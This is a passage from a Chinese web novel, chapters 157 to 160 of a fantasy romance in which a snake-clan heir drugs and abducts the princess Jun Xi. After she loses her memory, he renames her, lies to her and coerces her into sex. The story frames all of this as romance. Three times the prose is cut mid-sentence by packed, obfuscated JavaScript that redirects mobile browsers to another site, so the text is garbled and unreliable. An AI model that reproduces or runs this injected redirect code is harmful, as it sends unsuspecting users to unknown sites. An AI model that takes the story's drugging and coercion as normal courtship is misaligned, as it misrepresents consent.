王权不弃的营帐偏暗,刚一进去,就能看到挂在正中间的雪狼皮,周围布置也和慕夜声营帐全然不同,透露着一分野性难驯。
“不弃,你刚刚走这么快,可是因为怕孤被抢走?”
“不是。”
“孤不信。”
王权不弃将人放在铺着雪狼皮的床榻上,盯着女人极美的凤眼,喉结止不住滚动。
此处空间,只有她们二人……
王权不弃压住君羲双手,俯身轻啄女人唇瓣,长腿压制住君羲乱动的腿。
他吻住君羲,狼一样凶猛进攻。
最后抚了抚女人微红的唇,细心给女人脱掉鞋袜,握住女人的脚踝,神色有些暗沉。
君羲试图抽动自己的脚,却被男人灼热的掌心温度烫到。
“不弃,你……先放开孤。”
……
第157章 我的妻主,欢迎光临
王权不弃捏住手心的一截雪白,根本舍不得放手,他甚至有种想要亲上去的冲动。
他暗藏欲色地眸盯着君羲,有些艰难地开口道:
“不放……阿羲生得真美。”
君羲每一处都生得极美,王权不弃觉得,他手中握住的雪白脚踝更是美得让他欲念横生。
他嗓音暗哑,带着浓浓的蛊惑和暗示意味。
王权不弃眼神示意君羲,他问女人。
“阿羲,可不可以……”
君羲情绪激动,一口回绝。
“不行。”
君羲认为,她受不了这种刺激,脚踝拼命在男人手中挣扎,还是逃脱不了被掌控的命运。
王权不弃深觉自己疯了。
但若是让他发疯的源头是君羲,他想就这么疯下去。
“阿羲,阿羲,阿羲……忍忍。”
君羲汗湿了墨发,眼尾飞上一抹红霞。
“不弃,你疯了!”
“阿羲,陪我一起疯。”
……
次日,君羲从王权不弃怀中醒来,动了动手指,很好,还有力气,今日的计划看来能继续进行。
“妻主,你醒了?”
君羲表示,她不想和王权不弃说话,昨夜要不是他追着不放,她至于下不了床吗?
“嗯。”
王权不弃将君羲从被窝里捞出来,属于他的痕迹遍布女人玲珑有致的身躯,王权不弃满意勾起唇角。
“妻主,侍身伺候妻主起身洗漱。”
“不用。”
“那怎么可以?妻主,乖乖听话,你放心,待会儿侍身就销毁证据,不会有第三人知道昨夜之事。”
昨夜之事……
一提到昨夜,君羲耳根子就止不住泛红。
王权不弃的床榻上,本来有着许多白色狼皮,如今,只剩裹在她上半身的这一张了,其余的都脏了。
脏得根本没眼看。
王权不弃利落地将散落在营帐内各个地方的白狼皮拾起,这些白狼皮,都是他和君羲恩爱缠绵的证据,他才舍不得销毁。
王权不弃准备洗干净之后,放在上锁的木箱子里,以后若是独守空房,他便用白狼皮慰藉一二。
“阿羲,好了,所有‘证据’我都藏起来来了,不会有人发现。”
君羲松开手,白狼皮顺着白皙的肌肤下滑,露出星星点点的红。
“孤相信不弃,现在去找声声吧。”
由于王权不弃折腾,君羲比往常晚起了半个时辰。
慕夜声最是准时,君羲不想让男人就等。
王权不弃不满地轻哼一声,刚下了他的床,就去想别的男人,看来……
昨夜,他还是太收敛了。
王权不弃幽怨望着女人穿衣洗漱的背影,几次想要靠近,亲自替君羲擦洗,都被无情拒绝。
没有王权不弃干扰,君羲三两下就收拾好自己,牵着他的手,走出营帐。
慕夜声担心君羲和王权不弃出了什么事,这才在王权不弃营帐不远处原地徘徊。
君羲一眼就见到慕夜声。
“声声!”
慕夜声顺着声音来源望去,先是惊喜,然后在看到君羲和王权不弃紧牵的手后,漂亮的眸子暗淡了一瞬。
“阿羲,王权兄。”
算是打了招呼,君羲可不满足只有稀松平常的寒暄。
“声声,可是等久了?孤和不弃昨夜、有点晚,声声莫见怪。”
慕夜声心中酸涩难耐,君羲和王权不弃昨夜做了什么,他心中隐约有了猜测。
毕竟女人脖子上的吻痕实在是太过明显
慕夜声垂下纤长的眼睫,在心中拼命告诉自己,别生气、别生气。
昨夜,王权兄心情不好,妻主陪他是应当的。
他最讨厌那些嘴脸丑恶,为了争宠不择手段害人的后宅男子,他可不愿意成为自己最讨厌的人。
慕夜声深深地吸了一口气,终于将心中的所有负面情绪全都压了下去。
他展颜一笑,对着君羲和王权不弃说:
“阿羲,王权兄,我为你们准备了早膳,不嫌弃的话一起用点吧。”
君羲:“当然不嫌弃,声声做什么都好吃。”
慕夜声连忙道:
“不是我亲手做的。”
“那经过声声递的东西,也会变得异常美味,孤很喜欢。”
君羲经历了多次修罗场的洗礼后,哄男人愈发的得心应手
他们斡旋在王权不弃和慕夜声中间,力求将两个夫郎都哄好。
早膳结束,君羲、慕夜声和王权不弃三人背着同款药楼和特制,木箱子便准备踏上,寻找冰晶花之路。
“声声,十万雪山中,极容易迷路,待会儿一定要牵好孤的手,无论遇到什么情况都不许放开,记住了吗?
慕夜声乖乖点了点头,示意自己记住了。
“阿羲,我记住了。”
君羲左边牵着王权不弃,右边牵着慕夜声,在王冰和暗卫军崇拜的眼神中,携着两位夫郎进入十万雪山。
十万雪山白茫茫一片,好在慕夜声早就有所准备,他拿出一个精巧的玉盒,然后打开木塞。
一只通体金色的蝴蝶,从狭小的平口中出来,先是煽动华丽的金色翅膀,然后小脑袋在四周查看,最终似乎认定了什么方向,振翅起飞。
蹁跹的在风雪中,留下一抹金色的倩影。
“王权兄,阿汐,快跟上。”
追踪蝶虽然好用,但有一个致命的缺点,追踪蝶本体十分的孱弱,若是遇到稍微严峻一点的环境,极有可能还没到达目的地,就被环境给杀**。
幸好,这次同行的是君羲和王权不弃,她们二人都是一等一的高手,轮番使用内力护住追踪蝶,追踪蝶在风雪中也能顺利飞行。
君羲三人跟在追踪蝶身后,终于,在翻过一座雪丘后,见到了雪地中已经被冰雪掩埋了一半的红绸。
追踪蝶正巧便停在一棵雪松上。
“声声,我和不弃昨日就是在这里发现的冰晶花。”
王权不弃也对慕夜声道:
“慕兄,待会儿便辛苦你了,我和阿羲都不通药理,只能根据图册中记载,知晓这是冰晶花,但具体的习性以及开花时长却无从判断。”
慕夜声一眼便看到了长在悬崖峭壁上,那株宛如冰雪雕刻而成的冰晶花。
冰晶花果然名不虚传,在阳光下更是能折射出七彩色彩……
冰晶花,对于任何一个学医的人来说,都是一个巨大的诱惑。
当只存在于古老医学典籍中的传说级药材出现在面前,慕夜声眼神中便只剩这株冰晶花。
他有些痴痴地朝着冰晶花的方向迈开步伐。
好在,君羲和王权不弃第一时间察觉到慕夜声的状况。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863951|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“声声!凝神!”
好可怕的冰晶花,她们这还没靠近呢,便闻到了能够蛊惑人心的香味,离得近了,还不知会发生什么可怕的事情。
慕夜声就像被蛊惑了一般,只知道朝冰晶花的方向走去,全然忘记了自己身处环境。
既然软的不行,那边只能来硬的了。
君羲和王权不弃对了下眼神,二人一左一右,非常默契,按住慕夜声的左右肩膀。
慕夜声还在挣扎,但他那三脚猫的功夫根本就不是君羲和王权不弃的对手。
兴许是侵入慕夜声体内蛊惑人心的香味散得差不多了,随着挣扎,慕夜声眼神逐渐恢复了清明,不再只有那株冰晶花。
君羲和慕夜声齐齐松了口气。
“声声,没事吧?”
慕夜声摇了摇头。
“没事。”
他目光灼灼,就像在看最心爱的东西。
“妻主,真的是冰晶花!没想到,此生居然能有幸得见。”
在君羲三人都没注意的一处雪丘,一闪而过的蓝色眸光中,划过一抹计划得逞的兴奋。
蛇族中有催熟冰晶花的秘药,白渊废了一番功夫,才从族中拿到,条件是——
一个月内,让蛇族少族长之位后继有人。
“君羲,希望你会喜欢本少族长给你准备的惊喜。”
……
冰晶花本就是传说中才会有的奇药,故而,流传下来的医学典籍中纵然有记载,但也记载得不多。
比如,慕夜声并不知道,冰晶花开花之时,有让人内力全失的功效。
慕夜声给君羲、王权不弃二人一人发了一颗百解丸后,将两颗百解丸塞入口中。
三人这才相携朝着悬崖边上走去,慕夜声需要近距离观察冰晶花枝叶状态,才能判断它开花的时间。
等三人到达悬崖边上,才发觉,这上面的风雪实在是太大了!
奇怪的是,冰晶花看上去十分的脆弱却在这肆虐的风雪中,佁然不动。
“声声,能看清吗?”
慕夜声在君羲的内力护罩内,半眯着眼,观察冰晶花状态。
“阿羲,好像有点不对劲,你看冰晶花的根处……”
“怎么了?”
慕夜声解释道:
“阿羲,你有所不知,冰晶花生于冰雪,周身洁白无瑕,根本不可能出现黑色脏污,这里,有人来过。”
王权不弃立刻警惕四周。
“声声,没发现附近有人。”
君羲却是想到了昨日逃走的一截白色蛇尾,莫不是……祂?
若是真的有蛇族在暗中窥探,那便不能再拖了,事不宜迟,迟则生变!
君羲心中的警惕一下拉到了最高,催促慕夜声。
“声声,现在能不能确认开花时间?周围有危险。”
慕夜声仔细查看,脑子里回想典籍中的记载,冰晶花花开时,会散发出蛊惑人心的香味。
刚刚,他失神就是因为冰晶花。
“阿羲,冰晶花今日就会开,但具体什么时辰,我这边就无法确认了。”
“没关系,声声……”
君羲忽然目眦欲裂,慕夜声此刻背对着冰晶花,没看到脚底下即将坍塌的雪。
“小心!”
白蛇吐着蛇信,嗓音阴郁粘稠。
“花开了呢,我的妻主,欢迎光临~”
……
第158章 你是我的了
电光火石之间,冰晶花刹那间盛开,香味瞬间无声无息侵入君羲、慕夜声和王权不弃三人体内。
君羲刚想运转内力救慕夜声,就发现丹田处毫无波澜。
“不好,这花有毒。”
君羲神色骤变,冰晶花的花香能让人内力全失,沦为手无缚鸡之力的普通人。
她和王权不弃尚且如此,何况本武功平平的慕夜声?
不能让慕夜声掉下雪崖!
千钧一发之际,君羲一个飞扑,抓住了男人的手。
“声声,抓紧孤,别松手!”
但君羲也掉下了雪崖,五指死死抓着冰冷的崖壁不松手。
此刻她和王权不弃都没有内力傍身。君羲很清楚,若是再这么僵持下去,她和慕夜声都会掉下悬崖。
若是如此,倒不如选择救慕夜声上去。
君羲常年习武,身子骨比寻常人强健,但慕夜声不同,他从小学的是治病救人的医术,没有君羲结实耐摔。
慕夜声不久前刚刚重伤初愈,若是让他掉下悬崖,断然没有君羲掉下去活的几率大。
她快坚持不住了!不能再迟疑了!
君羲果断在王权不弃伸手欲抓住她们二人前,手臂发抖,已经察觉到有些力不从心,手指渐渐抓不住冰冷湿滑的崖壁。
“声声,别怕,孤会救你。”
女人低头看了一眼被自己抓在手中的男人。
慕夜声从君羲的眼神中体会到了她的意思,君羲是要用自己来换他的活路……
他微微摇头,却不敢有太大的动作。
如今,他们二人已经是独木难支,任何一丝一毫多余的动作,都有可能让他们掉进深渊。
眼泪溢出他的眼眶,他小声地说道:
“不要,妻主,我们一起活下去,别……”
然而,君羲已经下定了决心。
抓住慕夜声的手臂微微用力,一个借力上翻,便将慕夜声送上雪崖,自己却掉了下去。
“不!”
慕夜声被甩上悬崖第一时间便朝着崖壁前爬去,近乎绝望地轻喊。
“阿羲……”
王权不弃怔愣地看着自己空荡荡的双手,懊恼地捶打脑袋,终归,还是来晚了一步。
他看着趴在悬崖上失声痛哭的慕夜声,什么话也没说,转身便走。
活要见人,死要见尸。
虽然这雪崖看上去很高,但没有亲眼见到君羲的尸体,他不肯相信君羲会这么轻易的死去。
就算他如今武功尽失,也不会放弃寻找女人。
“王权兄,你是要去找妻主吗?我和你一起。”
王权不弃皱眉,他们如今可不是在大凰境内,而是在十万雪山中。
狐族和蛇族虽然表达了合作的友好意向,但保不齐知道君羲出意外后,会翻脸无情,他不敢去赌……
他现在武功全失,已经是自身难保,若是带上慕夜声,不止无法保护好慕夜声,还会让慕夜声也置身危险。
王权不弃想要开口拒绝,慕夜声就像猜到了他会拒绝一样,抱着一旁的医箱拍了拍。
“王权兄,你就带上我吧,现在你和妻主都武功全失,找到妻主后,万一她受伤了,以我的医术,也能及时救治。”
的确,慕夜声说得很有道理。
万一君羲受了很严重的伤,不方便移动,等他带君羲出十万雪山,再找大夫救治,怕是花儿都谢了。
倒不如带着慕夜声。
慕夜声已经算得上是这天底下数一数二的神医,在北境,再难找到一个比慕夜声医术高超之人了。
“既如此,那便跟上。”
慕夜声连忙擦了擦脸上的眼泪,眨了眨哭肿的眼睛,背上药箱,检查所需药物以及器材都在后,便跟在王权不弃身后。一同下了雪崖,准备找人。
……
君羲掉崖后,并不准备任命。
她唰的一声抽出腰间软剑,凭借着软剑削铁如泥的锋利,拼尽全力将软剑刺入崖壁中,企图通过这样的方式,减缓下坠的速度。
她不能死在这儿!
阿汐和阿景还在等她回京,若是不能按照约定的时间回到玉京城,溟汐该担心了。
刚刚为了救慕夜声,不惜以命换命,想必将男人吓坏了吧。
她还有五个夫郎没有娶进门……
君羲还没有将大凰治理得国泰民安、风调雨顺,怎么舍得就这么下地狱?
“真是顽强啊……”
嘶嘶……
耳边传来吐蛇信的声音,君羲警觉地低喝一声。
“谁。”
然后便看到崖壁上盘踞着一条通体银白的巨**,巨**的眼睛是罕见的冰蓝色,此刻竟泛着饶有兴致的光芒,就像遇到了感兴趣的玩具一样……
女人的手掌死死握住软剑的剑柄,虎口被磨破,血液溢出伤口。
随着血液的流淌,那股清冷的雪香似乎愈发的浓郁!
白渊享受地半眯着冰蓝色的眼,果然他今日举措都是对的。
瞧!这不就顺利将女人收入囊中了吗?
“别白费力气了,乖乖跟本少族长回去吧。”
少族长,还是一条蛇。
君羲猜到了它的身份,后槽牙都快咬碎了。
“白渊?!”
白渊大方承认,化作人形,极为欠揍的运起轻功跟在君羲左右。
“是我,你好啊,未婚妻。”
好个屁!
君羲差点没忍住爆粗口了。
“今日之事,全是你做的?”
纵然身处险境,君羲的脑子也转得很快,那异样的冰晶花似乎得到了解释。
白渊低低笑了起来,那张荼蘼到了极点的艳丽脸庞,盛开到了极致。
“本少族长只是想带心仪的人回洞穴,有什么错呢?”
“若是你们不觊觎冰晶花,我布置的一切手段都不会有用,说到底,还是人性贪婪。”
君羲阴沟里翻船,没什么好说的,好在和白渊说话的时候,软剑已经达成了减缓冲击力的目的。
“今日之事,孤铭记于心。”
白渊笑得更加开心了,缠绕在君羲身上,一起下坠。
“未婚妻这么主动,想要牢牢记住本少族长,求之不得。”
忽然,君羲瞳孔猛地一缩,白渊这个疯子,居然运转内力拽着她一起加速下坠!
这不是活腻了吗?
活腻了也就罢了,还拉着她一同送死!
君羲骂道:
“疯子。”
白渊被骂爽了,以前族中不是没有人骂他疯子,但他却觉得,从君羲口中骂出来的“疯子”二字甚合他的心意。
“是么……”
“我也觉得。”
疯子没什么不好,疯子就算不择手段得到自己想要的,顶多得到世人一句“疯子”的指摘。
能得到想要的,手段如何白渊不在意。
“快到底了呢,未婚妻。”
君羲心里一惊,什么?
飞快往下一看,真的快到底了,按照目前的速度,她没有活路。
白渊像是逗够了女人,猛地松开手。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863952|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
君羲咬牙,软剑在冰上划过刺耳的摩擦声,终于在快要落地时,减缓了速度。
白渊再次变作一条银白色的巨蛇,飞快地游到崖底,盘成一圈,翘首以盼。
不止如此,他还坏心眼伸出尾巴,在君羲手腕上敲了一下。
君羲只觉得手腕一麻,便握不住软剑,整个身体不受控制地往下坠落。
白渊满眼欣喜,君羲自己掉进他的怀中,那以后……便是他的人了。
他接住自己亲手制作的礼物。
虽然有白渊在身下作为肉垫,但军羲还是被强大的冲击力震得晕了过去。
白渊将女人抱了一个满怀,先是用蛇身在君羲身上缠了缠,直到感觉到君羲的身体有些变凉后,才化作人身,怜惜地将女人抱在怀中,细细亲吻女人的脸颊。
他发现在亲吻时,通过津液的互渡,那抹雪香愈发地浓郁,令他着迷。
白渊思考,立刻回洞穴,到时候,做更亲密的事情,女人身上能否散发出更多他喜欢的味道?
王权不弃和慕夜声下来之时,极大的风雪已经掩盖了女人留下的痕迹。
在这茫茫的雪崖底部,并没有找到任何君羲的踪迹,就好像之前的一系列事情,不过是他们的一场噩梦。
君羲从没有掉下过雪崖……
但,王权不弃和慕夜声都很清楚,之前的惊险绝对不是做梦!
那株开得正好的冰晶花,还在悬崖峭壁上摇曳,就好像在嘲笑着他们的无能。
这就是最好的佐证。
“别担心,阿羲吉人自有天相,肯定会没事的。”
王权不弃和慕夜声在雪崖底下找了很久,此刻已经是夜深,崖底下的寒风愈发冷入骨髓。
再这么找下去也不是办法……
他们此行目的本就是冰晶花,为了以防夜长梦多,必须得先行摘下才行。
否则,君羲岂不是,白忙活一场?
王权不弃一步一步攀上悬崖,凭借矫健的身手和强健的体魄,硬生生从崖壁上摘下那朵罪恶的冰晶花,小心翼翼地放入玉盒中。
“慕兄,你要的冰晶花。”
慕夜声拿到了梦寐以求的仙药,此刻脸上却没有半分欣喜,若不是为了冰晶花,君羲不会陷入险境!
这让他如何高兴得起来?
若不是真的特别需要冰晶花,作为研究素材,她可能会一气之下将这花毁了!
慕夜声手指紧紧抓住玉盒,用力到指骨泛白。
“王权兄,我们一定要找到阿羲,不能让她出事。”
不用慕夜声多说,王权不弃也不会放弃寻找君羲。
夜已经很深了,伸手不见五指。
再继续找下去也是徒劳,若是他和慕夜声二人也出了什么事,那便更没有人能够将君羲失踪的地点带出去。
所以,他们二人首先要做的便是保全自己,才能图谋以后。
“慕兄,我们先找个地方休息一下,等明日一早,我继续在这儿寻找,你回去搬救兵。”
王权不弃和慕夜声在这担心时,君羲已经被白渊带回了洞穴。
此处洞穴布置得极为华丽,衣食住行,样样俱全。
最为特别的当属主卧房中纳的通体白色的,白玉床。
传闻,只要在白玉床上练功将会事半功倍。
白渊带着君熙躺在白玉床上,整个人化成一条蛇,将女人死死地缠在身体里,贪婪地嗅着女人身上特有的清冷雪香。
“你是我的了。”
……
第159章 不行,我过来
冷……
好冷……
君羲只觉得怀中似乎被塞了一块大冰块儿,冷得她浑身发抖。
“未婚妻,你怎么了?”
白渊停下缠绕吸取的动作,有些诧异地松开缠绕的力道。
这才发现,女人冷得浑身发抖,牙齿都在打战。
他懊恼地拍了下脑袋,刚太高兴,忘记君羲如今内力全失,只是一个会怕冷也会怕热的普通人。
他若是继续吸取下去,君羲怕是会被活生生冻死!
白渊不想松开怀中的雪香,但也不想让君羲死掉。
君羲在他眼里,就是他的所有物,只有他能占有。
他遗憾地松开君羲,又往女人体内传输内力,等到君羲不在发抖,才起身准备找毛毯。
虽然他不需要,但君羲需要。
另外,冰晶花让人武功全失的效果只能持续三天,三天过后,君羲就会回复内力,届时会发生什么,白渊不用思考都知道。
堂堂大凰储君,定然不愿意成为他的禁脔。
所以,白渊决定早做准备,杜绝君羲恢复内力后,逃离自己的情况发生。
“来,张嘴……”
君羲像是察觉到了危险,死死闭着嘴巴不肯配合白渊的动作,白渊也不着急,他伸手去抚摸女人的唇瓣。
接着,俯在君羲耳畔呢喃。
“在不张嘴的话,会发生……你不会想感受窒息的痛苦的。”
白渊将为达目的、不择手段贯彻到底。
在一番威逼利诱后,终于将特地压制的加强版软筋散喂给君羲。
“好了,早这样乖乖的不就好了?”
白渊眼神痴迷,蓝色的瞳孔就像危险的深海,想要将君羲溺毙。
他吞咽了下口水,擦去女人红肿不堪唇边的一抹白色药粉,似乎有些意犹未尽。
“算了,先放过你。”
君羲又在发抖了,白渊心里吐槽,人类就是脆弱,不像蛇族,不需要穿棉服、盖棉被,也能在极寒的天气中生活。
“未婚妻乖乖呆在这儿等本少族长回来,不能乱跑哦,乱跑……”
“我可是会生气的。”
白渊就是一条藏在暗处,觊觎美味猎物的毒蛇,一旦缠上猎物,就会不死不休。
白渊觉得,君羲不会想知道他生气的后果的,他之前虽不通情爱,但族中热情的长辈们,可是给他送了不少“好东西”。
以前,他没有使用的欲望,现在有了君羲,白渊突然很感兴趣。
“给本少族长看好此处,若是人跑了,本少族长拿你们试问!”
“是。”
谁敢忤逆白渊啊?
白渊在蛇族中,是公认的第一强者,性格时好时坏,总之,不好惹。
好不容易看上了一个女人,她们岂敢对君羲做些什么?
白渊这才放心离开……
“唔……头好疼,我、我这是在哪里?”
君羲睁开眼,放在被褥上的手无力地握了握,她本能地察觉有些不对劲,似乎不该是这样的。
她头疼欲裂,顺着头疼的方向摸了过去,在脑后摸到一个大大的鼓包。
君羲猜想,她可能是伤到了脑袋,所以脑海中的记忆才这么混乱。
破碎的记忆画面中,那些俊美的各有千秋的男子究竟是谁?
君羲迫切想要得到答案,脑中混乱无序的记忆让她心中不安,可惜,君羲越是去回想,头就越疼。
最后疼得实在是受不了了,冷汗沾湿了君羲整张脸和衣裳,她这才停止回忆。
“不行,不能呆在这儿。”
就算丧失了部分记忆,君羲还是雷厉风行的性子。
她善于伪装。
刚刚其实君羲早就醒了过来,只是察觉到白渊在身上胡作非为,这才装作一副被冻到的样子。
果然,引得男人离开,她要抓紧这个机会,从这里逃出去。
君羲拖着酸疼的身体,双腿像煮熟的面条似的发软。
她扶着墙壁,一步一步地朝洞穴外走去,同时,尽力去留意周围的动静。
洞穴外有两个看守的女子,看其姿态神韵,像是练家子,君羲不敢轻取妄动。
君羲心中自嘲一笑,刚刚是她想得太天真了,还以为那条蛇是傻白甜,没想到一副痴汉的模样,脑子却是精明得很。
给她喂了强效软筋散,还派了练家子在洞穴外看守,当真是天衣无缝。
现在绝对不是逃走的良机,君羲决定先回去,蛰伏起来,等到白渊放松警惕之时,便是她出逃之时。
另外,君羲推测,男人给自己喂下了强效软筋散,有可能是因为他武功高强……
若是能暗中解了药效,恢复武功,那君羲就无需怕谁,直接杀出一条血路离开即可。
君羲放轻了脚步声,沿着刚刚过来的路慢腾腾地挪了回去。
并不是君羲想慢,他也想快一些,奈何身上无力,根本走不快。
“少族长。”
君羲心中一慌,怎么这条蛇这么快就回来了?
好在此时君羲离床榻已经不远,再走五六步的样子就能抵达床榻。
君羲走得额上冒汗,在屁股坐上白玉床的瞬间,就见到白渊抱着厚重的被褥,快步走了进来。
二人隔空对视。
白渊狐疑地眯了眯眼睛,女人刚刚在他走时不是陷入昏迷吗?怎么这么快就醒过来了?
难不成……
刚刚是装的,君羲在伺机逃走?
“未婚妻,你怎么起来了,不是冷吗?”
君羲在脑中疯狂的思考,希望能回答出一个让男人满意的答案。
“我、我就是想夫郎你了,这才惊醒。”
白渊的视线全数落在君羲的身上,君羲知道,白渊还没有打消对她的怀疑,她要继续表演,争取夺得白渊的信任。
君羲自然而然地放轻语气,带着一分责怪,九分撒娇。
“我醒来时,到处都找不到你。”
白渊来了兴致,他尾随君羲不是一天两天,君羲无论在任何时候,都习惯自称孤。
这是君羲身份地位的象征,怎么如今……
君羲看见他的眼神,竟然像一只懵懂的小鹿,半分不见久居上位者的精明睿智?
古籍中是有记载,人的脑袋受到的冲击力太大,会导致短暂的失忆症,难不成,君羲是失忆了?
“你叫什么名字?”
君羲刚想开口回答,就发现脑袋一片空白。
“我……”
她叫什么,她到底叫什么?
君羲的记忆就像有人特意擦除过一般,无论他如何回想,都想不起自己曾经的身份。
只能从隐约的画面中知,她过往的身份绝对不简单。
否则,不会有那么多穿着官服的人朝她下跪。
“汐……我叫汐。”
白渊不满,将手中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876877|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抱着的被褥仔细铺在床榻上,将女人死死地抱在怀中。
“妻主,你忘了吗?你不叫汐,而是姓柳,名兮兮。”
白渊一本正经地胡说八道,同时,也在观察君羲的反应。
但凡君羲表现出不对劲,他都能够察觉得到。
“来,妻主,跟我一起念,柳兮兮。”
君羲照做,眼神里透露成十足的信任。
“我叫柳兮兮,是你的妻主。”
白渊压着人就往柔软厚重的被褥上躺,阴柔漂亮的容颜带着极强的蛊惑意味。
“兮兮,你应该说,你是白渊唯一的妻主,你爱我,永远都不会离开我。”
君羲心里翻白眼,她只是记忆有所缺失,并不是变成傻子了。
这条蛇让她说的话,显然是低估了君羲的智商。
但,人在屋檐下,不得不低头。
此刻,君羲除了顺着白渊的话往下说外,没有别的办法。
顺着白渊的话说还能轻松些,若是忤逆,怕是男人今晚不会让她好过。
“我是白渊的妻主,我爱你,只有你一个夫郎。”
白渊给予君羲表扬。
“很好,说得很好。”
君羲适时表达自己的诉求,红着耳根道:
“阿渊,我、我能不能洗个澡。”
白渊有一搭没一搭亲着君羲的侧脸,双腿化作蛇尾,缠绕住女人的双腿。
“理由。”
君羲不适地动了动,得到男人陡然变得粗重的呼吸声,顿时老实了,一动不敢动。
“有汗,难受。”
白渊挑眉,并不觉得。
君羲浑身上下都香香的,出了汗,他喜欢的清冷雪香反而更加浓郁了。
但君羲难受的表情不是作伪,白渊也不想太过为难君羲,毕竟,他是要同君羲过一辈子的,来日方长。
“可以,不过,本少族长要跟着兮兮一起洗。”
君羲身体一僵,白渊将她看得这么死,不太好逃啊……
“可以啊。”
身为蛇族,白渊并不喜欢洗热水澡,他只喜欢洗冷水澡,越冰越好。
君羲身为人族,肯定不能在冰天雪地环境下洗冷水澡。
所以,为了迁就君羲,白渊不得不捏着鼻子坐进了温热的水中,浑身有些不自在。
好在女人的体香,经过热气的熏陶,在周围愈发的浓郁,萦绕在他的鼻尖。
白渊突然觉得,洗热水澡也不是那么难以忍受。
“兮兮,过来些。”
君羲:……
并不想过去,怎么办?
白渊冷哼一声,表达不爽。
“嗯……兮兮不过来,是想让本少族长亲手去捉吗?”
说着,白渊就要去缠君羲的腰,他眯起冰蓝色的竖瞳,暧昧又危险地问君羲。
“兮兮,你知道蛇族有两……吗?”
君羲身体一颤,听到白渊在她耳畔说的话,看男人的眼神就像看怪物一样。
视线落在蛇腹处,艰难地往后退了退。
“不行,我过来,阿渊,你别这么对我。”
白渊被君羲的举动弄笑了,君羲看来是被两个吓到了,嘴上说着过他这边来,实际上,动作却在不停后退。
君羲后背都快靠上池壁了,白渊忽然蛇尾一卷,拉着女人的手放在蛇腹的软鳞上,眸中戏谑。
“兮兮,本少族长所言非虚,你感受到了吗?”
……
第160章 乖兮兮,莫哭
君羲像一条被翻来覆去煎炸的鱼,哭得眼睛都红了,惹得白渊连忙给她擦眼泪。
“乖兮兮,莫哭。”
君羲别过脸,眼泪不停涌出,沾湿了白渊拭泪的手。
差一点,她就……
一场旷日持久的春宵过后,白渊变得极其有耐心,君羲别过头,他就绕,柔声哄。
“兮兮,本少族长两个……最后也没用武之地啊,莫哭了,好不好?”
君羲记忆变得紊乱后,性格娇气了许多,她指着腰上骇人的掐痕,带着哭腔质问白渊。
“你简直丧心病狂!自己什么样不清楚吗……呜呜……还想用两……呜呜……”
君羲泪眼朦胧,一把推开白渊,哭哭唧唧朝着岸上走去。
披在身后的长发被水沾湿,湿漉漉地粘在女人的雪背上,蝴蝶骨宛如凸起的蝶翼,振翅欲飞。
女人走动间,风姿绰约。
白渊冰蓝色的眸一暗,跟上女人有些摇晃不稳的步伐,握住女人的细腰,侧脸贴在君羲泪湿的脸庞。
“兮兮,你在走,本少族长可就忍不住要用……”
白渊停顿了一瞬,顾忌到失忆女人的承受度,话在喉咙里滚了一圈,最后,他还是隐晦了些。
“用点特殊的法子,治治不听话的兮兮了。”
他伸手撩起女人捶在胸前的湿发,放在鼻端轻轻嗅闻。
“兮兮,你也不想体验真正的蛇族吧?”
君羲身体一僵,似乎想到了什么可怕的画面,软了身体,任由男人将她从水中抱起。
穿衣擦发,揉捏上药。
“我,我可以自己来。”
君羲明显被白渊弄怕了,同男人说话时,语气带着一丝小心翼翼,生怕哪里惹男人不快,用特殊的法子整治她。
白渊避开女人来拿药盒的手,漂亮的竖瞳紧紧盯着君羲的眼睛。
气氛有一瞬间的凝固,君羲的手攥住身下的被褥,不安地抓握。
片刻后,男人忽然笑了。
“兮兮最好是乖乖让本少族长给你上药,毕竟是本少族长伤的,自然要负责到底。”
白渊有些头疼,他本以为君羲就算内力全失,身体也还是八重武者的身体,动作便孟浪了些……
但这男欢女爱的滋味的确让人食髓知味。
白渊一边给老实下来的君羲上药,一边在脑海中回味。
“疼……”
女人喊疼的声音换回了白渊的思绪,刚刚只顾着在脑海中回味,动作重了一些。
白渊立马放轻上药的力道,慢悠悠抬眸看了一眼女人,就见到女人眸子中的水意。
白渊轻啧一声。
“娇气。”
他什么时候见过如此娇气之人?不过是上药的动作重了一点点,就娇气得眼眶含泪。
怪不得之前承受不住时,哭得那么凶,原来是个娇气包。
君羲抽了抽鼻子,憋着眼泪不让它落下。
“我不娇气,是……你弄疼我了。”
白渊手上动作愈发轻了,甚至用上了内力给君羲缓解疼痛。
“还说不娇气?本少族长有一次打仗,被敌军暗算,活生生被拔了半身的鳞片,也没喊过一声疼。”
君羲一哽,眼睛一闭。
